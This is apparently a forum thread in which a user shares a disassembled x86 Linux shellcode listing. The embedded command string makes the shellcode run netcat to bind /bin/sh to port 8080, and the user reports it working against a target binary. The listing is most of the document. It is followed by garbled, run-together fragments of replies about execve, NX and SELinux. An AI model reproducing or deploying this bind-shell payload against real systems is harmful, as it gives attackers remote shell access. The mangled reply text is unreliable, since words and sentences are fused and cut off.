After going through the return status of the program I realised that, the program was executing the shell code and exiting. So, Instead of binding the shell to stdin, I wrote a shell code that binds /bin/sh
to port 8080 using netcat. This did the trick.
Following is the shell code I used:
08048060 <_start>:
8048060: eb 2a jmp 804808c <GotoCall>
08048062 <shellcode>:
8048062: 5e pop %esi
8048063: 31 c0 xor %eax,%eax
8048065: 88 46 07 mov %al,0x7(%esi)
8048068: 88 46 0f mov %al,0xf(%esi)
804806b: 88 46 19 mov %al,0x19(%esi)
804806e: 89 76 1a mov %esi,0x1a(%esi)
8048071: 8d 5e 08 lea 0x8(%esi),%ebx
8048074: 89 5e 1e mov %ebx,0x1e(%esi)
8048077: 8d 5e 10 lea 0x10(%esi),%ebx
804807a: 89 5e 22 mov %ebx,0x22(%esi)
804807d: 89 46 26 mov %eax,0x26(%esi)
8048080: b0 0b mov $0xb,%al
8048082: 89 f3 mov %esi,%ebx
8048084: 8d 4e 1a lea 0x1a(%esi),%ecx
8048087: 8d 56 26 lea 0x26(%esi),%edx
804808a: cd 80 int $0x80
0804808c <GotoCall>:
804808c: e8 d1 ff ff ff call 8048062 <shellcode>
8048091: 2f das
8048092: 62 69 6e bound %ebp,0x6e(%ecx)
8048095: 2f das
8048096: 6e outsb %ds:(%esi),(%dx)
8048097: 63 23 arpl %sp,(%ebx)
8048099: 2d 6c 70 38 30 sub $0x3038706c,%eax
804809e: 38 30 cmp %dh,(%eax)
80480a0: 23 2d 65 2f 62 69 and 0x69622f65,%ebp
80480a6: 6e outsb %ds:(%esi),(%dx)
80480a7: 2f das
80480a8: 73 68 jae 8048112 <GotoCall+0x86>
80480aa: 23 41 41 and 0x41(%ecx),%eax
80480ad: 41 inc %ecx
80480ae: 41 inc %ecx
80480af: 42 inc %edx
80480b0: 42 inc %edx
80480b1: 42 inc %edx
80480b2: 42 inc %edx
80480b3: 43 inc %ebx
80480b4: 43 inc %ebx
80480b5: 43 inc %ebx
80480b6: 43 inc %ebx
80480b7: 44 inc %esp
80480b8: 44 inc %esp
80480b9: 44 inc %esp
80480ba: 44 inc %esp
/bin//sh\0
. Andint 0x80
with EAX as 0xb issys_execv
. So it is the equivalent ofexecve("/bin/sh", 0, 0)
. Therefore it is much more important what you're exploiting. (1) you do not say anything about NX, it may be enabled. (2) SELinux may not like exec calls from binaries. (3) See then answer here for a way of building the 2nd argument forexecve()
(4) Do not post images of text, it makes things harder to look at.execve()
calls from binaries as I successfully exploited 4 other binaries and got the shell code to do aexecve()
call. I will keep looking and post here If I get it to work.